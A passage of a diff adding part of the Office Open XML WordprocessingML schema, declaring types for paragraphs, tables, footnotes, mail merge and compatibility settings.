<xsd:element name="fldSimple" type="CT_SimpleField" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="hyperlink" type="CT_Hyperlink"/> + <xsd:element name="subDoc" type="CT_Rel"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_P"> + <xsd:sequence> + <xsd:element name="pPr" type="CT_PPr" minOccurs="0"/> + <xsd:group ref="EG_PContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="rsidRPr" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidR" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidDel" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidP" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidRDefault" type="ST_LongHexNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_TblWidth"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="nil"/> + <xsd:enumeration value="pct"/> + <xsd:enumeration value="dxa"/> + <xsd:enumeration value="auto"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Height"> + <xsd:attribute name="val" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="hRule" type="ST_HeightRule"/> + </xsd:complexType> + <xsd:simpleType name="ST_MeasurementOrPercent"> + <xsd:union memberTypes="ST_DecimalNumberOrPercent s:ST_UniversalMeasure"/> + </xsd:simpleType> + <xsd:complexType name="CT_TblWidth"> + <xsd:attribute name="w" type="ST_MeasurementOrPercent"/> + <xsd:attribute name="type" type="ST_TblWidth"/> + </xsd:complexType> + <xsd:complexType name="CT_TblGridCol"> + <xsd:attribute name="w" type="s:ST_TwipsMeasure"/> + </xsd:complexType> + <xsd:complexType name="CT_TblGridBase"> + <xsd:sequence> + <xsd:element name="gridCol" type="CT_TblGridCol" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TblGrid"> + <xsd:complexContent> + <xsd:extension base="CT_TblGridBase"> + <xsd:sequence> + <xsd:element name="tblGridChange" type="CT_TblGridChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TcBorders"> + <xsd:sequence> + <xsd:element name="top" type="CT_Border" minOccurs="0"/> + <xsd:element name="start" type="CT_Border" minOccurs="0"/> + <xsd:element name="left" type="CT_Border" minOccurs="0"/> + <xsd:element name="bottom" type="CT_Border" minOccurs="0"/> + <xsd:element name="end" type="CT_Border" minOccurs="0"/> + <xsd:element name="right" type="CT_Border" minOccurs="0"/> + <xsd:element name="insideH" type="CT_Border" minOccurs="0"/> + <xsd:element name="insideV" type="CT_Border" minOccurs="0"/> + <xsd:element name="tl2br" type="CT_Border" minOccurs="0"/> + <xsd:element name="tr2bl" type="CT_Border" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TcMar"> + <xsd:sequence> + <xsd:element name="top" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="start" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="left" type="CT_TblWidth" minOccurs="0"/> + <xsd:element name="bottom" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="end" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="right" type="CT_TblWidth" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Merge"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="continue"/> + <xsd:enumeration value="restart"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_VMerge"> + <xsd:attribute name="val" type="ST_Merge"/> + </xsd:complexType> + <xsd:complexType name="CT_HMerge"> + <xsd:attribute name="val" type="ST_Merge"/> + </xsd:complexType> + <xsd:complexType name="CT_TcPrBase"> + <xsd:sequence> + <xsd:element name="cnfStyle" type="CT_Cnf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tcW" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="gridSpan" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="hMerge" type="CT_HMerge" minOccurs="0"/> + <xsd:element name="vMerge" type="CT_VMerge" minOccurs="0"/> + <xsd:element name="tcBorders" type="CT_TcBorders" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shd" type="CT_Shd" minOccurs="0"/> + <xsd:element name="noWrap" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="tcMar" type="CT_TcMar" minOccurs="0" maxOccurs="1"/> + <xsd:element name="textDirection" type="CT_TextDirection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tcFitText" type="CT_OnOff" minOccurs="0" maxOccurs="1"/> + <xsd:element name="vAlign" type="CT_VerticalJc" minOccurs="0"/> + <xsd:element name="hideMark" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="headers" type="CT_Headers" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TcPr"> + <xsd:complexContent> + <xsd:extension base="CT_TcPrInner"> + <xsd:sequence> + <xsd:element name="tcPrChange" type="CT_TcPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TcPrInner"> + <xsd:complexContent> + <xsd:extension base="CT_TcPrBase"> + <xsd:sequence> + <xsd:group ref="EG_CellMarkupElements" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Tc"> + <xsd:sequence> + <xsd:element name="tcPr" type="CT_TcPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_BlockLevelElts" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="id" type="s:ST_String" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_Cnf"> + <xsd:restriction base="xsd:string"> + <xsd:length value="12"/> + <xsd:pattern value="[01]*"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Cnf"> + <xsd:attribute name="val" type="ST_Cnf"/> + <xsd:attribute name="firstRow" type="s:ST_OnOff"/> + <xsd:attribute name="lastRow" type="s:ST_OnOff"/> + <xsd:attribute name="firstColumn" type="s:ST_OnOff"/> + <xsd:attribute name="lastColumn" type="s:ST_OnOff"/> + <xsd:attribute name="oddVBand" type="s:ST_OnOff"/> + <xsd:attribute name="evenVBand" type="s:ST_OnOff"/> + <xsd:attribute name="oddHBand" type="s:ST_OnOff"/> + <xsd:attribute name="evenHBand" type="s:ST_OnOff"/> + <xsd:attribute name="firstRowFirstColumn" type="s:ST_OnOff"/> + <xsd:attribute name="firstRowLastColumn" type="s:ST_OnOff"/> + <xsd:attribute name="lastRowFirstColumn" type="s:ST_OnOff"/> + <xsd:attribute name="lastRowLastColumn" type="s:ST_OnOff"/> + </xsd:complexType> + <xsd:complexType name="CT_Headers"> + <xsd:sequence minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="header" type="CT_String"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TrPrBase"> + <xsd:choice maxOccurs="unbounded"> + <xsd:element name="cnfStyle" type="CT_Cnf" minOccurs="0" maxOccurs="1"/> + <xsd:element name="divId" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="gridBefore" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="gridAfter" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="wBefore" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="wAfter" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cantSplit" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="trHeight" type="CT_Height" minOccurs="0"/> + <xsd:element name="tblHeader" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="tblCellSpacing" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="jc" type="CT_JcTable" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hidden" type="CT_OnOff" minOccurs="0"/> + </xsd:choice> + </xsd:complexType> + <xsd:complexType name="CT_TrPr"> + <xsd:complexContent> + <xsd:extension base="CT_TrPrBase"> + <xsd:sequence> + <xsd:element name="ins" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="del" type="CT_TrackChange" minOccurs="0"/> + <xsd:element name="trPrChange" type="CT_TrPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Row"> + <xsd:sequence> + <xsd:element name="tblPrEx" type="CT_TblPrEx" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trPr" type="CT_TrPr" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_ContentCellContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="rsidRPr" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidR" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidDel" type="ST_LongHexNumber"/> + <xsd:attribute name="rsidTr" type="ST_LongHexNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_TblLayoutType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="fixed"/> + <xsd:enumeration value="autofit"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TblLayoutType"> + <xsd:attribute name="type" type="ST_TblLayoutType"/> + </xsd:complexType> + <xsd:simpleType name="ST_TblOverlap"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="never"/> + <xsd:enumeration value="overlap"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TblOverlap"> + <xsd:attribute name="val" type="ST_TblOverlap" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TblPPr"> + <xsd:attribute name="leftFromText" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="rightFromText" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="topFromText" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="bottomFromText" type="s:ST_TwipsMeasure"/> + <xsd:attribute name="vertAnchor" type="ST_VAnchor"/> + <xsd:attribute name="horzAnchor" type="ST_HAnchor"/> + <xsd:attribute name="tblpXSpec" type="s:ST_XAlign"/> + <xsd:attribute name="tblpX" type="ST_SignedTwipsMeasure"/> + <xsd:attribute name="tblpYSpec" type="s:ST_YAlign"/> + <xsd:attribute name="tblpY" type="ST_SignedTwipsMeasure"/> + </xsd:complexType> + <xsd:complexType name="CT_TblCellMar"> + <xsd:sequence> + <xsd:element name="top" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="start" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="left" type="CT_TblWidth" minOccurs="0"/> + <xsd:element name="bottom" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="end" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="right" type="CT_TblWidth" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TblBorders"> + <xsd:sequence> + <xsd:element name="top" type="CT_Border" minOccurs="0"/> + <xsd:element name="start" type="CT_Border" minOccurs="0"/> + <xsd:element name="left" type="CT_Border" minOccurs="0"/> + <xsd:element name="bottom" type="CT_Border" minOccurs="0"/> + <xsd:element name="end" type="CT_Border" minOccurs="0"/> + <xsd:element name="right" type="CT_Border" minOccurs="0"/> + <xsd:element name="insideH" type="CT_Border" minOccurs="0"/> + <xsd:element name="insideV" type="CT_Border" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TblPrBase"> + <xsd:sequence> + <xsd:element name="tblStyle" type="CT_String" minOccurs="0"/> + <xsd:element name="tblpPr" type="CT_TblPPr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblOverlap" type="CT_TblOverlap" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bidiVisual" type="CT_OnOff" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblStyleRowBandSize" type="CT_DecimalNumber" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblStyleColBandSize" type="CT_DecimalNumber" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblW" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="jc" type="CT_JcTable" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblCellSpacing" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblInd" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblBorders" type="CT_TblBorders" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shd" type="CT_Shd" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblLayout" type="CT_TblLayoutType" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblCellMar" type="CT_TblCellMar" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblLook" type="CT_TblLook" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblCaption" type="CT_String" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblDescription" type="CT_String" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TblPr"> + <xsd:complexContent> + <xsd:extension base="CT_TblPrBase"> + <xsd:sequence> + <xsd:element name="tblPrChange" type="CT_TblPrChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_TblPrExBase"> + <xsd:sequence> + <xsd:element name="tblW" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="jc" type="CT_JcTable" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblCellSpacing" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblInd" type="CT_TblWidth" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblBorders" type="CT_TblBorders" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shd" type="CT_Shd" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblLayout" type="CT_TblLayoutType" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblCellMar" type="CT_TblCellMar" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tblLook" type="CT_TblLook" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TblPrEx"> + <xsd:complexContent> + <xsd:extension base="CT_TblPrExBase"> + <xsd:sequence> + <xsd:element name="tblPrExChange" type="CT_TblPrExChange" minOccurs="0"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_Tbl"> + <xsd:sequence> + <xsd:group ref="EG_RangeMarkupElements" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="tblPr" type="CT_TblPr"/> + <xsd:element name="tblGrid" type="CT_TblGrid"/> + <xsd:group ref="EG_ContentRowContent" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TblLook"> + <xsd:attribute name="firstRow" type="s:ST_OnOff"/> + <xsd:attribute name="lastRow" type="s:ST_OnOff"/> + <xsd:attribute name="firstColumn" type="s:ST_OnOff"/> + <xsd:attribute name="lastColumn" type="s:ST_OnOff"/> + <xsd:attribute name="noHBand" type="s:ST_OnOff"/> + <xsd:attribute name="noVBand" type="s:ST_OnOff"/> + <xsd:attribute name="val" type="ST_ShortHexNumber"/> + </xsd:complexType> + <xsd:simpleType name="ST_FtnPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="pageBottom"/> + <xsd:enumeration value="beneathText"/> + <xsd:enumeration value="sectEnd"/> + <xsd:enumeration value="docEnd"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_FtnPos"> + <xsd:attribute name="val" type="ST_FtnPos" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_EdnPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="sectEnd"/> + <xsd:enumeration value="docEnd"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_EdnPos"> + <xsd:attribute name="val" type="ST_EdnPos" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_NumFmt"> + <xsd:attribute name="val" type="ST_NumberFormat" use="required"/> + <xsd:attribute name="format" type="s:ST_String" use="optional"/> + </xsd:complexType> + <xsd:simpleType name="ST_RestartNumber"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="continuous"/> + <xsd:enumeration value="eachSect"/> + <xsd:enumeration value="eachPage"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_NumRestart"> + <xsd:attribute name="val" type="ST_RestartNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FtnEdnRef"> + <xsd:attribute name="customMarkFollows" type="s:ST_OnOff" use="optional"/> + <xsd:attribute name="id" use="required" type="ST_DecimalNumber"/> + </xsd:complexType> + <xsd:complexType name="CT_FtnEdnSepRef"> + <xsd:attribute name="id" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_FtnEdn"> + <xsd:sequence> + <xsd:group ref="EG_BlockLevelElts" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_FtnEdn" use="optional"/> + <xsd:attribute name="id" type="ST_DecimalNumber" use="required"/> + </xsd:complexType> + <xsd:group name="EG_FtnEdnNumProps"> + <xsd:sequence> + <xsd:element name="numStart" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="numRestart" type="CT_NumRestart" minOccurs="0"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_FtnProps"> + <xsd:sequence> + <xsd:element name="pos" type="CT_FtnPos" minOccurs="0"/> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0"/> + <xsd:group ref="EG_FtnEdnNumProps" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_EdnProps"> + <xsd:sequence> + <xsd:element name="pos" type="CT_EdnPos" minOccurs="0"/> + <xsd:element name="numFmt" type="CT_NumFmt" minOccurs="0"/> + <xsd:group ref="EG_FtnEdnNumProps" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_FtnDocProps"> + <xsd:complexContent> + <xsd:extension base="CT_FtnProps"> + <xsd:sequence> + <xsd:element name="footnote" type="CT_FtnEdnSepRef" minOccurs="0" maxOccurs="3"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_EdnDocProps"> + <xsd:complexContent> + <xsd:extension base="CT_EdnProps"> + <xsd:sequence> + <xsd:element name="endnote" type="CT_FtnEdnSepRef" minOccurs="0" maxOccurs="3"/> + </xsd:sequence> + </xsd:extension> + </xsd:complexContent> + </xsd:complexType> + <xsd:complexType name="CT_RecipientData"> + <xsd:sequence> + <xsd:element name="active" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="column" type="CT_DecimalNumber" minOccurs="1"/> + <xsd:element name="uniqueTag" type="CT_Base64Binary" minOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Base64Binary"> + <xsd:attribute name="val" type="xsd:base64Binary" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Recipients"> + <xsd:sequence> + <xsd:element name="recipientData" type="CT_RecipientData" minOccurs="1" maxOccurs="unbounded" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="recipients" type="CT_Recipients"/> + <xsd:complexType name="CT_OdsoFieldMapData"> + <xsd:sequence> + <xsd:element name="type" type="CT_MailMergeOdsoFMDFieldType" minOccurs="0"/> + <xsd:element name="name" type="CT_String" minOccurs="0"/> + <xsd:element name="mappedName" type="CT_String" minOccurs="0"/> + <xsd:element name="column" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="lid" type="CT_Lang" minOccurs="0"/> + <xsd:element name="dynamicAddress" type="CT_OnOff" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_MailMergeSourceType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="database"/> + <xsd:enumeration value="addressBook"/> + <xsd:enumeration value="document1"/> + <xsd:enumeration value="document2"/> + <xsd:enumeration value="text"/> + <xsd:enumeration value="email"/> + <xsd:enumeration value="native"/> + <xsd:enumeration value="legacy"/> + <xsd:enumeration value="master"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_MailMergeSourceType"> + <xsd:attribute name="val" use="required" type="ST_MailMergeSourceType"/> + </xsd:complexType> + <xsd:complexType name="CT_Odso"> + <xsd:sequence> + <xsd:element name="udl" type="CT_String" minOccurs="0"/> + <xsd:element name="table" type="CT_String" minOccurs="0"/> + <xsd:element name="src" type="CT_Rel" minOccurs="0"/> + <xsd:element name="colDelim" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="type" type="CT_MailMergeSourceType" minOccurs="0"/> + <xsd:element name="fHdr" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="fieldMapData" type="CT_OdsoFieldMapData" minOccurs="0" + maxOccurs="unbounded"/> + <xsd:element name="recipientData" type="CT_Rel" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_MailMerge"> + <xsd:sequence> + <xsd:element name="mainDocumentType" type="CT_MailMergeDocType" minOccurs="1"/> + <xsd:element name="linkToQuery" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="dataType" type="CT_MailMergeDataType" minOccurs="1"/> + <xsd:element name="connectString" type="CT_String" minOccurs="0"/> + <xsd:element name="query" type="CT_String" minOccurs="0"/> + <xsd:element name="dataSource" type="CT_Rel" minOccurs="0"/> + <xsd:element name="headerSource" type="CT_Rel" minOccurs="0"/> + <xsd:element name="doNotSuppressBlankLines" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="destination" type="CT_MailMergeDest" minOccurs="0"/> + <xsd:element name="addressFieldName" type="CT_String" minOccurs="0"/> + <xsd:element name="mailSubject" type="CT_String" minOccurs="0"/> + <xsd:element name="mailAsAttachment" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="viewMergedData" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="activeRecord" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="checkErrors" type="CT_DecimalNumber" minOccurs="0"/> + <xsd:element name="odso" type="CT_Odso" minOccurs="0"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_TargetScreenSz"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="544x376"/> + <xsd:enumeration value="640x480"/> + <xsd:enumeration value="720x512"/> + <xsd:enumeration value="800x600"/> + <xsd:enumeration value="1024x768"/> + <xsd:enumeration value="1152x882"/> + <xsd:enumeration value="1152x900"/> + <xsd:enumeration value="1280x1024"/> + <xsd:enumeration value="1600x1200"/> + <xsd:enumeration value="1800x1440"/> + <xsd:enumeration value="1920x1200"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TargetScreenSz"> + <xsd:attribute name="val" type="ST_TargetScreenSz" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Compat"> + <xsd:sequence> + <xsd:element name="useSingleBorderforContiguousCells" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="wpJustification" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noTabHangInd" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noLeading" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="spaceForUL" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noColumnBalance" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="balanceSingleByteDoubleByteWidth" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noExtraLineSpacing" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotLeaveBackslashAlone" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="ulTrailSpace" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotExpandShiftReturn" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="spacingInWholePoints" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="lineWrapLikeWord6" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="printBodyTextBeforeHeader" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="printColBlack" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="wpSpaceWidth" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="showBreaksInFrames" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="subFontBySize" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suppressBottomSpacing" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suppressTopSpacing" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suppressSpacingAtTopOfPage" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suppressTopSpacingWP" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="suppressSpBfAfterPgBrk" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="swapBordersFacingPages" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="convMailMergeEsc" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="truncateFontHeightsLikeWP6" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="mwSmallCaps" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="usePrinterMetrics" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotSuppressParagraphBorders" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="wrapTrailSpaces" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="footnoteLayoutLikeWW8" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="shapeLayoutLikeWW8" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="alignTablesRowByRow" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="forgetLastTabAlignment" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="adjustLineHeightInTable" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="autoSpaceLikeWord95" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="noSpaceRaiseLower" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotUseHTMLParagraphAutoSpacing" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="layoutRawTableWidth" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="layoutTableRowsApart" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useWord97LineBreakRules" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotBreakWrappedTables" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotSnapToGridInCell" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="selectFldWithFirstOrLastChar" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="applyBreakingRules" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotWrapTextWithPunct" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotUseEastAsianBreakRules" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useWord2002TableStyleRules" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="growAutofit" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useFELayout" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useNormalStyleForList" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotUseIndentAsNumberingTabStop" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useAltKinsokuLineBreakRules" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="allowSpaceOfSameStyleInTable" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotSuppressIndentation" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotAutofitConstrainedTables" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="autofitToFirstFixedWidthCell" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="underlineTabInNumList" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="displayHangulFixedWidth" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="splitPgBreakAndParaMark" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotVertAlignCellWithSp" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotBreakConstrainedForcedTable" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="doNotVertAlignInTxbx" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="useAnsiKerningPairs" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="cachedColBalance" type="CT_OnOff" minOccurs="0"/> + <xsd:element name="compatSetting" type="CT_CompatSetting" minOccurs="0" maxOccurs="unbounded" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CompatSetting"> + <xsd:attribute name="name" type="s:ST_String"/> + <xsd:attribute name="uri" type="s:ST_String"/> + <xsd:attribute name="val" type="s:ST_String"/> + </xsd:complexType> + <xsd:complexType name="CT_DocVar"> + <xsd:attribute name="name" type="s:ST_String" use="required"/> + <xsd:attribute name="val" type="s:ST_String" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DocVars"> + <xsd:sequence> + <xsd:element name="docVar" type="CT_DocVar" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DocRsids"> + <xsd:sequence> + <xsd:element name="rsidRoot" type="CT_LongHexNumber" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rsid" type="CT_LongHexNumber" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_CharacterSpacing"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration 